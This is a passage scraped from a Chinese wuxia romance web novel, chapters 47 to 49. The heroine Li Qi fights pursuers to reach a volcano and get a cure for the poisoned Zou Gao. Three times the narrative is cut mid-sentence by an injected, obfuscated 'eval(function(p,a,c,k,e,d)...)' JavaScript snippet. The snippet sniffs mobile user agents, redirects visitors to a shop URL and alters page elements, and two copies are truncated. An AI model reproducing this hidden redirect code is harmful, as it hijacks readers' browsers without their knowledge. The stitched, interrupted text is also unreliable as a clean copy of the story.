一身很有记忆点的衣服破破烂烂,白皙紧致的肌肤若隐若现,男人柔弱无力瘫倒在地上,漂亮的眼睛寖满了晶莹的泪水,俊美白皙的脸上又好几处泥土,但这些对于男人来说都是锦上添花。 不用多说,李棋眼睛都看直了。 柔弱无助的男子泫然欲泣朝李棋虚虚伸出手,“女侠,救救我…” 这!一般女人都受不了,何况李棋本来就侠肝义胆,以助人为乐呢。 “你们别动他,”李棋说着,就要帅气地跳下马车去救人,但才跳起来,就被人狠狠按住了肩膀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男人上衣都没穿,两条坚实的大腿上有好几个大窟窿,健硕的肌肉那叫一个夺目。 男人黝黑刚毅的脸上点缀着两朵坨红,别说,还怪有滋味的。 这次,不等男人说话、朝李棋伸出手,千赤先窜了出去,李棋没准备,差点飞出去,还好邹杲抓着她的手腕就没放开过。 邹杲冷哼一声,抱着李棋回了车厢。 李棋纳闷道:“他们是在做戏?” “你才看出来。”邹杲鼻子不是鼻子、眼睛不是眼睛,那妒夫样,简直没脸看。 吃了太多次自作多情的亏,李棋没再自作多情往邹杲爱慕她爱慕到吃醋的方面想。 她沉思许久,问邹杲:“怎么回事?你那些仇家发现打不过我,所以转变策略,改用美人计了?” 邹杲不语。 “也不对啊。要真是美人计,还是奔着杀你来的,怎么也不会用男子,更不会这么拙劣吧?” 李棋在理智分析,但邹杲还是不置可否。 又沉思了好一会儿,李棋又说:“这也不是办法,要是再遇到,我还是去和他们说道说道,劝他们回头是岸吧。” 邹杲冷眼瞪向李棋,那表情,好像在说‘你敢。’ 李棋回瞪他,“你这是什么表情?我这是为了谁啊?” 邹杲不说话,李棋脾气也上来了,两人就这么陷入了冷战。 没走一会儿,马车再次急停。 这次李棋做好了准备,虽然又是一个趔趄,却躲开了邹杲的搀扶,并顺势飞身出了马车。 这次躺在中间的是一个年轻美艳的女子,她没有撕烂衣服露出肌肤,因为她姣好的身段和非凡的气质已经足够勾人。 要不是有这么多人在,要不是他们可能是来杀邹杲的,李棋说不定就喊着‘姐姐’冲进人家怀中了。 李棋清了清嗓子,“姑娘,你们这是?” 那姑娘却突然腿软,惊叫一声朝李棋扑来。 李棋一惊,还是没控制住,连忙上前两步接住了女子。 “没事吧,姑娘?” 女子也没离开她的怀抱,换了个动作仰面对着她。 白皙细瘦的手指柔弱无骨,蛇一样攀上李棋的脖颈,“人家比姐姐还小一岁呢。” 这一声姐姐喊得李棋浑身舒爽,她迟疑喊:“那…妹妹?” “姐姐……”女子似乎羞了,美艳的脸在她脖颈间蹭了蹭。 好香,好软,李棋整个人都傻了,不知道该如何是好。 几道做作的声音异口同声响起,“姐姐,人家也要!”四人说着,扯掉脸上的遮挡,就要朝李棋奔来。 每一张脸都很好看,李棋完全没法拒绝。 47.辽炀卷·第二章 2 每一张脸都很好看,且没有散发出任何恶意或杀意,李棋完全没法拒绝。 她就这么站在原地,等着众人上来。 但是不等四人靠近,邹杲如猎鹰一般朝她飞来,他一掌击飞那个柔弱的男子,转身宽袖一挥,右边的女子也后退了好几步。 落到李棋身后,他一拉一扔,李棋怀中的妹妹被丢了出去。 他一手揽住李棋的腰,临走前,还各给了剩余两人一掌。 “你干什么……”李棋话音未落,已经被邹杲带着落到了马车顶上。 邹杲一手紧紧圈着李棋的要,一手负在身后,他冷脸睥睨着下方想要冲上来的五人,“不管你们是谁,本王的人,不是你们能碰的。本王只宽恕你们这一次,有多远立刻滚多远。” 五人胆子倒是不小,他们朝路中间靠近,并肩站立挡住了去路。 另一名女子冷笑道:“什么你的人,脸真大。只要小棋妹妹没拒绝,我们就都有机会。” 她又笑着对李棋说:“小棋妹妹,我是雨中花的义女,我叫阎绯,今年二十一岁,你可以叫我一声绯姐姐哦。” 她说着拿出一个古铜色的圆牌,上面的花纹很神秘,是独属于暗秋城的信物,李棋也在雨中花腰间看到过类似的。 见状,另外四人也反应过来,争先恐后掏出自己的身份铜牌,七嘴八舌自我介绍着。 另一名女子叫鸾絮,十七岁;第一个白皙柔美的男子叫水卉,二十五岁,是五人中最年长的。 完全看不出来的是,黑皮坚毅的男子也才十七岁,名叫丘炎;剩下的一个面无表情的男人名叫沂源,二十三岁。 李棋受宠若惊,才礼尚往来说了自己的名字,千赤再一次窜了出去。 这次五人没有作罢,而是施展轻功追了上来。 他们一边追,一边掏出怀中的东西丢给李棋。 水卉丢给她一个皮酒袋,“小棋妹妹,这是我们暗秋城的甜果酒,你尝尝。” 鸾絮撞开水卉,丢给李棋一只玉簪,“姐姐,这是人家亲手给你雕刻的。” 话音未落,阎绯挤上来,“小棋妹妹,听说你喜欢天下第一阁的醉红尘,我给你找来了。” 丘炎和沂源也挤了上来,两人一边拉扯,一边将准备的东西丢给她,只可惜没来得及说话,就被另外三人拉了下去。 李棋手忙脚乱接住五人扔过来的见面礼紧紧抱住,见五人一边追赶马车,一边打架拉扯,一时有些担心。 确定了五人没有恶意,再加上他们个个容貌出众,李棋也不介意多几个朋友。 她当即想挣脱邹杲的束缚,停下来和五人交谈一番,邹杲的手却像为她量身定制的铁爪,将她牢牢固定住。 发现挣不脱邹杲的桎梏,再一想到邹杲过往那不明不白的态度,李棋冷下脸,道:“让千赤停下来,我不想和你动手。” 这是李棋第一次用这种语气神态和他说话,还是为了几个只见过一面的人。 邹杲只觉天崩地裂,片刻的愣怔后,他什么也没说,松开李棋跳到了千赤背上,抓住缰绳让千赤停了下来。 见千赤停下来后,邹杲解开马车,拉着千赤和玄翼进入了旁边的森林,那孤寂的背影,李棋心中着实不好受,想要追上去,五人又赶了上来。 她叹了口气,转身朝五人而去。 五人又是一番争先恐后的介绍、推荐,恨不得李棋立刻把他们送的见面礼用上。 李棋第一次被这么多同龄人喜欢,虽然很有可能只是表象,但她的心中还是暖暖的,鼻子也酸酸的,竟然有些想哭。 在她眼泪掉下来的前一刻,鸾絮上前一把抱住她,将她的脑袋按在肩膀处。 又有一个人抱了上来,是阎绯,阎绯一下一下轻抚着她的背脊。 李棋更加忍不住,好一会儿才缓过来。 从两人怀中退出来,她看向五人,由衷感激道:“谢谢你们。” “你要是这么说的话,”水卉说,“我们还得谢谢你愿意接受我们呢。” 阎绯附和道:“就是。” 丘炎说:“小棋姐姐,虽然我不知道你为什么要感谢我,但我可以把感谢转化为陪练次数吗?” 冷脸抱臂站在外面的沂源也面无表情说:“我也要小棋妹妹陪我。” “嗯?”李棋没反应过来。 鸾絮解释道:“义父说你特别厉害,再有个十来年,一定能把他们那些老家伙踩在脚下,成为天下第一!” 这话太夸张了,李棋不由汗颜,“雨中花前辈太夸张了,人外有人,我成长的同时别人也在成长,再说了,我哪有那么厉害啊。” 几人都让她不要谦虚,李棋更觉脸红,弄清五人的来意,她还有些愧疚。 她道:“我暂时没法陪你们切磋,邹杲、常胜王他……” 阎绯打断她,“想见识义父口中的天之骄子是我们的主要目的不错,但和你结识了,以后跟你讨教的机会还少吗,来日方长嘛,我们不急的。” 鸾絮问:“饿不饿?前方五六里有个村落,我们去村里找个地方坐着边吃边熟悉吧。” 想到邹杲,李棋还在犹豫,突然,一只乌鸦朝几人飞来,盘旋在上空啼叫。 见五人同时变了脸色,李棋当即道:“你们先去吧,等我闲下来了,我会来暗秋城找你们玩的。” 鸾絮道:“好,那我们先走了。” “等我们忙完我们再来找你玩啊。”水卉笑着说。 李棋笑着说好,目送五人的身影消失在丛林中。 他们来得莫名其妙,走得更是匆忙,几人已经远去,李棋都还有些恍惚,要不是怀中他们带来的东西还在,她都没法相信刚刚发生的一系列事情的真实性。 “这么舍不得,你干脆跟他们走好了。”邹杲幽怨的声音在李棋身后响起。 李棋本来就还处于才见面又要分别的伤感之中,就听邹杲这声音,不由吓了她一跳。 李棋转身后退了好几步,没好气道:“我倒是想,这不是被你拖住了腿脚吗。” 邹杲一听这话脸色又阴沉了,他一言不发,转身朝车马走去、径直进了车厢。 李棋意识到这次的话说得太重了,但她一时半会又拉不下脸,原地愣怔了好一会儿,才朝马车走去,和王安坐在了外面驾马。 王安大惊,小声劝道:“姑娘,这里有我就够了,你还是去里面吧。” 李棋没说话,起身一跃落到了千赤的马背上。 千赤这次倒是格外听她的话,她才轻轻拍了拍千赤的脖颈,千赤便动了起来。 * 晚上,三人宿在丛林中,李棋和邹杲一个在树杈上、一个在车厢里,谁也没和谁说话,甚至尽量在避免不待在一个空间里,小灵狐急得上蹿下跳也没能让两人和好。 这种状态一直持续了两天。 第三天的傍晚,车马再一次被逼停,来着不善,且前后都隐约听到激烈的打斗声。 李棋嗅了嗅鼻子,她在这群人中闻到了一股很重的香味,不难闻,但她从未闻过。 不等她细究,就听有人说:“公主,我等并无恶意,只是想问你借点钱花。” “没恶意?呵。”李棋一肚子的闷气正愁没地方发泄,拔出鞭子就要去与来人交手。 邹杲适时出声拦住了她,“李棋,等会。” 说话间,邹杲从车厢中出来,落于玄翼背上后站定,他看向众人,“你们不知道本王的身份?” 一众草莽被问得一愣,片刻后才有人呆呆答道:“常胜王邹杲,江湖谁人不知。” “既然知晓,你们要借钱不找本王,反而去找一个早就被灭国的公主,你们这是看不起本王。” 好莫名其妙的话语,一众草莽心道,这是傻子听不懂好赖话吗,怎么还上赶着被抢。 一部分人一喜,当即在心中暗自决定两个都不放过。 “既如此……” 话没说完,就见邹杲反手接过王安递上来的钱袋,他慢条斯理打开,将里面的黄金和少量五铢钱都倒在宽大的手心里,另一只手的食中二指在其中一番挑拣,才终于从一包黄金中捡出了十余枚五铢钱,然后转而看向他们,“这些够你们喝一壶的了,拿去吧,赏你们了。” 说着扔了出去,还真有人下意识接住了。 接住的人中还有一人呆愣愣问:“他是不是在拿我们当叫花子打发?” 旁边人咬牙切齿,“这还用问,这不明摆着的吗。” “孤高自大、目中无人,上,一起干他!” 他们呼应着,提着手里的武器就要扑上来。 突然,邹杲眉心一皱,像是察觉到什么,但李棋忙于面对来势汹汹的这些人,并没有注意到。 李棋鞭子都抽出来了,却被邹杲拉住了手腕,邹杲轻笑抬起另一只手,“慢。” 众人定在原处看着他,只见邹杲勾唇一笑,手中大小不一的黄金被他用内力挥洒向众人,“嫌少,那就再赏你们一些。” “呃!” “啊!” “哎呦!” …… 一时痛呼声四起。 “欺人太甚!”侥幸躲过的大多人都被惹怒了,再没有任何转圜的余地,嘶吼着杀了上来。 准备交手的李棋再一次被邹杲按住,她侧头冷眼看向邹杲,问他到底要干什么。 邹杲笑得高深莫测,李棋看得牙痒痒,差点破功吼他,一个不察,身下的千赤突然动了起来。 李棋不防,差点摔倒,幸好一只手被邹杲拉着,她才在千赤快速的行进中很快稳住身形。 李棋当即矮身骑上马背,抓住缰绳,“千赤,回去。” 千赤不听,依旧跑得飞快,李棋不得已扭头看向旁边悠然的邹杲,“快让千赤回去,我们跑了,王安怎么办?” “你未免太小看王安了。” 闻声,李棋顺着邹杲的视线回头望去,只见王安手持一根马鞭跟那些人打得有来有回,他的身形太过灵活,速度快到残影,凡有想趁乱跑出来追他们的都被王安及时打了回去。 又听一阵剧烈的马蹄声和嘶吼声,十余个穿着普通百姓服饰的男人骑着骏马奔来。 在人群中看到两个熟悉的身影,李棋这才放下心来。 她收回视线,眼神复杂看向邹杲,几番欲言又止,但终究没问出口。 邹杲也看着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两匹马先后扬长而去,只留下一片飞扬的尘土。 一口气跑出去好远,确定前方没有交斗声,李棋才拉动缰绳,让千赤慢下来。 邹杲依旧紧紧抱着她,一点自觉都没有。 李棋大力拍打了好几下,他都不放手。 无奈,李棋只得冷声开口,“放开我。” 邹杲直接耍起无赖,“不放。”他的声音懒洋洋的,还顺势将下巴枕在了李棋的左肩膀上。 “你……”李棋恼怒不已,刚要大力甩开他,却感觉到邹杲明显缓慢的 心跳和冰寒的体温。 她一惊,当即抓起邹杲的手摸他的脉。 邹杲也没躲,或许是没力气躲了。 这一摸,李棋的心也差点跟着停下,“灵狐泪毒蔓延到心脏了?!” 李棋回头,想骂他,但看到他明显虚弱的脸色,语气还是缓和了许多,也瞬间反应过来,“那香有问题!……催发了灵狐泪的扩散。” 她越发肯定,语气不由又怪起邹杲,“你闻到那股香的时候没感觉到难受吗,为什么不早点和我说?” 死到临头了,邹杲倒是还笑得出来,还倒打一耙,“不是李大侠你先不跟我说话的吗。” 李棋瞪他,却听他无辜又说:“我早就闻不到味道了,小棋儿你不是知道的吗。你不说,我都不知道那些人身上有什么味道。而且,在察觉身体明显有异样的第一时间,我不是就先远离了他们吗。” 李棋一怔,转身就要往他的胸膛处传送内力,还没开始,邹杲就握住了她的手。 “别。”邹杲摇头,玩笑说,“你要是有闪失,我也不能活。” 他的声音明显的有气无力,“我好冷好累啊,小棋儿。”他将李棋抱得更紧。 李棋一时万分懊恼内疚,心中难受,没推开他。 她拿起手中还沾着鲜血的鞭子,将邹杲和自己绑在一起,然后猛地一扬缰绳,让千赤加快了速度。 “小棋儿,”邹杲在她耳边絮絮叨叨又说,“我知道当下的境况是我自作自受,但我还是难受,你能不能看在我快要死了的份上,再宽容我一些。之前欠你那些账,留到我痊愈后再一一清算,好不好?” 李棋感觉自己好像和邹杲通感了,不然她怎么也那么难受。 “有我在,你不会死。”她坚定道。 “嗯,我相信小棋儿。”邹杲冰冷的脸在她脖颈间蹭了蹭。 李棋牵动缰绳,另一只手摸向千赤的脑袋,几乎哀求道,“驾!千赤再快些——” 千赤似乎早就感应到主人的虚弱,它已经拿出了最快的速度,驮着他们两人依旧和没有任何负重的玄翼拉开了不短的距离。 “小棋儿……”邹杲又喊,李棋竖起耳朵等候着下文。 许久,没等来后文,却等来了邹杲的晕厥。 现在只有不死草能救邹杲,李棋不敢停下来,她反手扶了扶邹杲耷拉下去的脑袋,让他稳稳枕在自己的肩膀上。 “驾——” 48.辽炀卷·第三章 3 之后的几日,李棋和邹杲风雨不歇、昼夜不停,双脚几乎没沾到地面的时候。 两匹马被她们换着骑,几乎没有片刻的喘息。 终于,在第七日,两人两马进入了辽炀山脉的地带。 辽炀山脉由全国各地延伸而来的九条山脉组成,错综复杂,在辽炀一带交汇最多。 据李棋师父,也就是蛮菩萨毒赋所说,他们要找的不死草生长在辽炀山脉最高山脉的顶端的天坑内、不知道什么时候会喷涌的火山的沿口处。 还未靠近,就已经感受到了阵阵热气。 千赤和玄翼将两人送到山脚,两匹马儿、尤其是千赤还想送他们,但上山的路,再骑着千赤,不但不能加快速度,还有可能导致千赤和玄翼受伤。 邹杲现下醒着,他亲昵碰了碰千赤的脑袋,一人一马好似在做什么约定。 李棋看得难受,突然,玄翼来到她身前,在她身上一个劲的蹭,李棋还读不懂玄翼的所思所想,但也能感受到玄翼的担心。 她俯身摸摸玄翼的脑袋,“我们会尽快回来的。” 没有多少时间了,李棋走到邹杲身边,摸着千赤的鬃毛对邹杲说,“走吧。” 邹杲点点头,取下千赤身上的行囊,将衣袖中的小七儿放到千赤身上挂着的小包袱里,转身走在前面。 小七儿冒出头来探望,吱吱叫着想要追上来,千赤更是眼巴巴望着邹杲的背影,活像儿行千里母担忧的‘母亲’一样。 李棋叹了气,上前安抚摸了摸一马一狐,又对千赤说:“你照顾好玄翼和小七儿,我照顾好邹杲,放心,我不会让他死的。” 盯着李棋愣怔片刻,千赤像是听懂了一般,脑袋抵在李棋手心默了默,才退后几步,和玄翼、小七儿一起目送两人离去。 正值烈日,两匹马儿却站在原地目送良久。 攀爬了很久停下休息,李棋再回头往山脚望去,都能依稀看到两匹马儿的身影。 怎么好像还有人,不对,李棋定睛再一看,就是有人,少说有几十个穿着一致的黑衣人。 千赤和玄翼正在与之打斗,似乎想靠自己拦住这些人。 李棋大惊,连忙将旁边坐着昏昏欲睡的邹杲扶起来,“邹杲你快吹哨子,让千赤和玄翼离开。” 邹杲见了也是一惊,没有任何犹豫,接连吹了几声嘹亮的口哨。 这口哨声不但传入了千赤的耳朵,也被黑衣人察觉。 已经有人锁定他们的位置,施展轻功追赶上来了。 见千赤和玄翼还是不走,邹杲道:“小棋儿,我们快走,我们走远了,它们自然会散去。” 他说着想让李棋搀扶他继续往上爬。 看着在山壁间以极快的速度穿梭的黑衣人,李棋顾不得那么多,提起干粮往邹杲怀里一扔,背起邹杲便施展了轻功。 邹杲想喊李棋放他下来,但话没说出口,一口鲜血喷涌而出,整个人直接晕了过去。 “邹杲!”李棋心急如焚。 邹杲没有任何反应,追兵来势汹汹,李棋不敢停下。 李棋无比痛恨自己之前的偷懒,她要是再努力一些,轻功再好一些,她就能带着邹杲更快一些拿到不死草了。 可惜,她的轻功本来就算不上出众,如今又负重了一个邹杲,速度更是快不起来。 天色黑了,大雨说来就来,噼里啪啦砸在人身上,她的体力开始透支,黑衣人也很快追赶上来了。 嗖-嗖-嗖—— 几个黑衣蒙面人跑到前方挡住了去路。 他们将两人团团围住也没立刻动手,而是叽里呱啦说了些什么,李棋听不懂。 她也没心情更没时间和他们多费口舌,她拿出九龙神鞭,“挡路者,死!” 话音未落朝拦住去路的黑衣人冲了上去。 这些黑衣人显然也不是一般人,何况李棋还得顾看背上昏厥过去的邹杲。 几招下来,李棋非但没能突围,还累得气喘吁吁。 黑衣人将两人围得更加严实,为首的黑衣人指了指她,又指了指她背后的邹杲,也不知道是在说什么。 “去和阎王爷说吧!”李棋骂着,孤注一掷拿出腰包里的嗜血虫,打算用杀敌一千自损八百的方式趁乱突围。 黑衣人似乎意识到她的危险,群起而上。 李棋顾不得后果,掏出陶瓷瓶就准备往地上砸。 千钧一发之际,只听一声清朗而急切的:“姐姐,不要!” 是萧逾,还有他的师兄文蕼。 两人很快来到她身边,同四周的黑衣人打斗起来。 萧逾关切丢给她一个陶瓷瓶,“姐姐,里面是我们逍遥门的归元丹,服下可在短时间内恢复至少一半的元气。” 文蕼也道:“小棋妹妹你先走,这里有我和师弟挡着。” 没时间说太多,李棋留下一句‘多谢’,找机会服下一颗丹药修整片刻,背着邹杲从两人撕开的口子便跑了。 萧逾和文蕼的武功不浅,暂时没让黑衣人追上来。 但李棋不敢有片刻的停顿,每当力竭,她便再服下一颗归元丹。 一瓶归元丹就这样被她在一夜之间吃了个精光。 在最后一丝力气用尽的前一刻,她终于看到了一片暗红,是火山中的滚烫的岩浆,她们到了。 李棋赶紧背着邹杲过去。 突然,身后传来嗖嗖几声,李棋回头看去,只见几支箭矢划破夜色朝他们射来。 李棋已经没力气施展轻功躲避了,只是片刻的犹豫,她没有转身为邹杲挡伤,更没有匍匐趴下,而是背着邹杲模仿着蛇爬行轨迹,继续往火山口跑去。 噗呲,利刃刺穿血肉,扎在李棋背上的邹杲的血肉之中,邹杲被疼醒,痛哼一声又晕了过去。 李棋顿了片刻,但没有就此停下,而是背着人继续绕着火山口跑,边跑边寻找传说中的不死草。 热气燎人,不知道跑了多远,终于,她看到了那长在火山口边上的不死草。 小小的一株,大拇指一个指节的大小,因为雨水,外形本该是枯死状的植株舒展着,呈现出晶莹剔透的绿,好似由一块翠玉精挑细琢而成, 她大喜,当即俯身摘取,就在手握住不死草的瞬间,一把大刀朝她的伸出去的手臂飞砍而来。 李棋没有收回手,而是握住不死草将它拔了起来。 那把大刀,也砍在李棋的大臂之上,虽然她及时发力绷起肌肉,没有伤及骨头,但那把刀却是坚坚实实嵌在肌肉之中。 李棋好像不知道疼了一样,她后退几步,将邹杲放下侧躺着,也没时间用药水处理不死草,用衣摆包着揉捏一通直接塞到了邹杲嘴里。 尽管用衣物隔着,浸透出来的些许汁液还是让李棋感觉手心一阵火辣辣的灼烧感。 还是那些说话叽里咕噜让人听不懂的黑衣人。 他们应该也是冲着李棋自己都不知道的梁国宝藏来的。 他们并没有趁机杀掉李棋,而是将她团团围住,一看就打算抓活的。 李棋起身恶狠狠瞪着众人,她眼都没眨一下,取下胳膊上的大刀一扔,一人应声倒地,黑衣人们也惊得停下脚步,在原地呆滞了片刻。 他们叽里呱啦说了起来,李棋则趁这个时间简单将手臂上的伤口包扎了一下。 还未捆扎好,黑衣人再一次群拥而上。 李棋左手握鞭,主动出击。 尽管这些人看起来是奔着她来的,她还是不敢离昏睡的邹杲太远,只能围绕着邹杲与之打斗。 交手之间,好几人正面拖住李棋,李棋一个不察,只见一人抓起身边另一人,狠狠朝邹杲砸过去。 等李棋看过去的时候,邹杲已经被那倒霉蛋推到了火山口,她大惊失色,顾不得这一下会有多少利刃刺到身上。 她飞身扑追而去,见距离远远不够,急中生智,用尽全身力气甩出九龙神鞭。 刹那间,九龙神鞭好似被撑开的雨伞一般,错综复杂网住毫无意识的邹杲。 李棋双脚还未着地,被邹杲的重量一拖,她整个上半身都已经探了出去,千钧一发之际,她双脚发力,如木楔一般深深潜入地面之中,才堪堪停下。 在那被熔浆吞噬的黑衣人的惨叫声中,李棋只觉万幸,庆幸她成功用九龙神鞭缠住了邹杲、成功带着邹杲停了下来。 除了始作俑者,其余一众黑衣人都被这惊险的一幕惊得目瞪口呆,看看李棋和邹杲,有迟疑看看他们的首领,一时都停下了动作。 但很快,他们在为首的那人的一声令下,再次众人向李棋围拢。 李棋又热又累又疼,但看着倾盆的大雨落入岩浆后即刻化作热气的情形,她一点不敢松手。 她咬紧牙关,想用力将邹杲甩上来。 她额头与脖颈的青筋暴起,热汗与鲜血汩汩倾泻,嘴唇都被咬破了,也只是晃动了一些,距离将邹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768247|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杲甩到安全区域的目标差了十万八千里。 “邹杲,醒醒!邹杲,你快醒过来,”自己爬上来啊…… 李棋嘶吼的话没说完,电闪雷鸣,闪电划破长空,让李棋看到了朝她的抓着九龙神鞭的双手飞来的利刃。 一旦松手,邹杲必死无疑,但不松手,她势必会被砍伤。 看了眼邹杲,一咬牙,李棋闭上双眼,做好了再被砍伤的准备。 突然,只听‘铮’的一声,李棋闻声睁眼一看,只见一支金簪在大刀砍上她手腕的瞬间,与之碰撞,将其击飞。 循着金簪飞来的方向,电闪雷鸣之下,李棋看到了一个熟悉的火红色身影。 手中的鞭子有了轻微晃动,李棋低头看去,是下方的邹杲终于悠悠转醒。 李棋还没来得及松口气,就见另一个方向,若干箭矢朝邹杲射来。 邹杲虽然还在状况外,但他很快反应过来,他当即咽下嘴里带给他强烈热意的不明药草,抓住鞭子借力跳上来,落地的瞬间又抓住鞭子一拉,将险些被他拽下去的李棋扯到了怀里。 “受苦了,小棋儿……”邹杲摸摸李棋的头发,眼里脸上都是愧疚与心疼。 李棋摇头,想说先跑,等会再算账,才张开嘴巴,就见几支箭矢又朝邹杲的脑袋射来。 “小心。”她喊着,抓着邹杲的双臂,带着他往地上倒去。 两人双双朝地上倒去,一个扑倒、一个仰躺,地上还有很多碎石,一瞬间,邹杲急忙抱住李棋,翻了个身垫在李棋身下。 这一下,他撞得坚实,痛哼声中,似乎还有什么断裂的咔嚓声。 也是倒在地上的瞬间,只见他发间的玉簪飞了出去,落到火山口边上,只差一点,就会落下去,被滚烫的岩浆吞噬殆尽。 听到邹杲的痛叫,李棋想起邹杲后背还有箭矢,连忙忍痛从他身上下去。 “你怎么样,”她扶着邹杲想检查他后背的伤,邹杲长发散乱,注意力却全在那根黑玉发簪上。 他侧身朝黑玉簪伸出手,“发簪,拿回来……” 就差那么一寸,就差那么一寸邹杲就能自己拿回来。 “都什么时候了,一根发簪丢了就丢了。”李棋气得不轻,话虽这么说,还是爬上前准备帮他拿回来。 她伸出手的瞬间,又是几发箭矢朝他们射来。 邹杲大惊,将李棋拉到怀中抱住,向旁边翻滚躲避。 这个过程,邹杲的双眼死死盯着那根黑玉簪,只见一支箭刚好擦着黑玉簪插在地上,黑玉簪被挤得前移了一些,就这一下,它失去平衡,坠入岩浆之中,不复存在。 李棋爬起来,见邹杲如丧考妣,心中疑惑,而箭雨又来了,她顾不得多问,抓着邹杲就跑。 在红衣女子及其手下的掩护下,两人成功跑到了她们身后。 两人都还没喘过气来,红衣女子举着一把油纸伞来到两人身前。 “娘、女侠……”李棋话没说出口,红衣女子一个斗笠盖在李棋脑袋上,“自己点穴止血。” 没错,该红衣女子正是蝶恋花纪敏。 纪敏又看向邹杲,她拿出一个陶瓷瓶递给邹杲,“毒赋前不久派人送来的,我不确定会有什么隐患,但据他一同捎来的信上说,可以让你在短时间内恢复至少七成的能力,喝不喝你自己决定。” 说话间,几个不起眼的人杀到跟前,纪敏只得转身去挡。 李棋闻言正要去拦邹杲,却见邹杲已经仰头将瓶子里的液体都喝掉了。 邹杲还笑着宽慰李棋,“反正都这样了,再差也不过是死。” 李棋说不出话来,也没时间说话,这些人太难缠,似乎打算不死不休。 幸好有邹杲掩护,李棋才寻到机会给自己点穴止血。 很快,又听纪敏说,“你们先撤,去金曲楼。” 见她没有要走的意思,李棋想问你们呢,话还没说出口,邹杲抱起她就跑。 “放我下来。”李棋刚开口,就见金曲楼的人也纷纷抽身追了上来。 邹杲温柔道:“这下放心了吧。” 李棋不语,她的手在邹杲背上摸索着,将早已被压断的两根箭矢折断,点了附近的穴位先帮他止住血流。 才跑到半山腰,老远就看到几道速度极快的身影朝他们赶来。 李棋心道恐怕又是一场恶战,当即急切高声询问不远处的纪敏,“女侠,你给邹杲的药还有吗,请也给我一瓶。” 49.辽炀卷·第四章 4 邹杲脚步更快,显然并不打算让她喝。 又听纪敏道:“不出意外是我找来的援兵,就算不是,你也未免太看不起我金曲楼了。” 很快,两拨人便迎面碰上,居然是鸾絮等人。 丘炎惊喜喊:“小棋姐姐!” “怎么伤成这样?”阎绯关切问。 水卉懊悔道:“早知金曲楼找我们是要援助你,那日我们不走,便没有这么多事了。” 李棋悬着的心终于放下,她有些激动,也有些悔不当初,但邹杲没给她说话的机会,抱着她跑得更快。 无奈,李棋只得冲众人喊道:“你们小心点,我在金曲楼等你们。” 只听几人齐声应道:“好。” 纪敏回头看了眼追上来那些黑衣人,对暗秋城的几人道:“交给你们了,抓到活口,我另有重谢。” 几人异口同声应好,而后嗖嗖窜出去,很快便听到惨叫声。 不愧是靠杀人闻名立足的暗秋城。 * 再说李棋她们这边,一口气跑到山脚,天光已经大亮。 挂有金曲楼标识的十多辆马车早已等候多时,看到她们,王安和一个年轻女子当即迎了上来。 “王爷、姑娘,”看清他们身上的伤,王安满腔的欣喜变做愧疚,“都怪小的来迟了。” 邹杲摇摇头,问他:“千赤它们呢。” 王安回,“已经派人去找了,闻到气味,千赤会很快带着玄翼过来汇合的。” 邹杲点点头,两人说话间,那名女子走到两人跟前。 李棋将自己的脸往邹杲怀中藏了藏,不想让女子看到他的脸,但来不及了。 女子伸出手摸摸她脸侧的擦伤,心疼道,“怎么伤得这么重。”说着,就要接过李棋去给她治伤。 李棋又是咳嗽、又是使眼色,想让幻樱姐姐别说了。 却听邹杲闷闷笑出声,李棋愕然,狠狠瞪向他。 又听幻樱掩唇轻笑道:“七七,常胜王是师父的故交,早就知晓你与师父的关系。” 李棋又是一惊,“什么?” “你什么时候知道的?”她挣扎就要从邹杲怀中下来,邹杲没放,而是看向幻樱问,“哪辆马车是给本王和小棋儿准备的?劳驾带路。” 幻樱也意识到自己说错话了,也心疼李棋一身的伤口,当即转身走在前面带路。 马车里药物、热水一应俱全,还准备了一套华美的衣服。 邹杲才将李棋放上去,李棋就自己身残志坚挪到了内侧,看都不看邹杲一眼。 幻樱说,“常胜王一身的伤也需要处理,七七就交给我吧。” 王安也在一旁劝道,“王爷,左边这辆马车是为您准备的,先随小的去包扎下伤口吧。” 终归是无名无分,李棋此刻还不愿赏他一个眼神,邹杲对幻樱说了声有劳,跟着王安上了旁边的马车。 * 邹杲一走,幻樱一上来,李棋就憋不住了,她抓着幻樱的手问:“幻樱姐姐,这一切究竟是怎么回事,邹杲不过二十二三岁,怎么会和娘亲是故交,还有我和娘亲的关系,娘亲好端端和他说这些干什么。” “我知道的也不多,你先别动,等会我再和你慢慢说。”幻樱说着,拿起剪刀。 直到此刻,大雨依旧没有停歇。 李棋身上有多处伤口,雨水和血液早就将衣服淋透,此刻湿哒哒黏在身上,也的确不好受,她只得先乖乖让幻樱帮着将身上的衣服脱下。 幻樱放下剪刀,拿起帕子,一边擦拭伤口附近的血液和泥土,一边说:“师父和常胜王的交情得从七八年前说起,” “七八年前?”李棋只觉不可思议,“邹杲才十四五岁的时候,嘶……” 幻樱一顿,连忙给她吹了吹伤口,“弄疼了,我再轻点。” “嗯。” 等她没那么疼了,李棋才又问:“他们怎么认识的?” 幻樱摇头,“这我不清楚。” 李棋又问:“那我和娘亲的关系,他是什么时候知道的你知道吗?” 